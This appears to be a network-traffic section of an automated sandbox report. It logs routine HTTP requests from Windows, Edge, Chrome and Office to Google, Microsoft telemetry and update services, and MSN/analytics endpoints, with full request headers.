Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCI/KzQEIucrNAQi/0c0BCIrTzQEI0NbNAQio2M0BCPnA1BUYj87NARi60s0BGMLYzQEY642lFw==Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCI/KzQEIucrNAQi/0c0BCIrTzQEI0NbNAQio2M0BCPnA1BUYj87NARi60s0BGMLYzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=KP44xo9Vhz+g544&MD=w5aHBKCo HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1732917989&P2=404&P3=2&P4=BR6YDcZt7wuufaBXWe16Tc9qjhXHYALlMSmqDRTc2t0%2bSg9goNwlYhas%2bPjkt%2bx3HDZ5uzuobWseDszADA4A8g%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: QndDLlpHSx+2ddavRbC+GISec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.47Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /b?rn=1732313197626&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=1981927DEF30640D17DC8742EE526551&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1732313197626&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=7dd1da5736714f8ca4abe9d156210cf4&activityId=7dd1da5736714f8ca4abe9d156210cf4&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=1981927DEF30640D17DC8742EE526551; _EDGE_S=F=1&SID=2656553965EC663635A140066439671A; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=1981927DEF30640D17DC8742EE526551&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=24f6ace37e9343a9fc8b43a8d852f9b3 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=1981927DEF30640D17DC8742EE526551; _EDGE_S=F=1&SID=2656553965EC663635A140066439671A; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /b2?rn=1732313197626&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=1981927DEF30640D17DC8742EE526551&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=11Ebb78d014cdf6d9e000301732313198; XID=11Ebb78d014cdf6d9e000301732313198
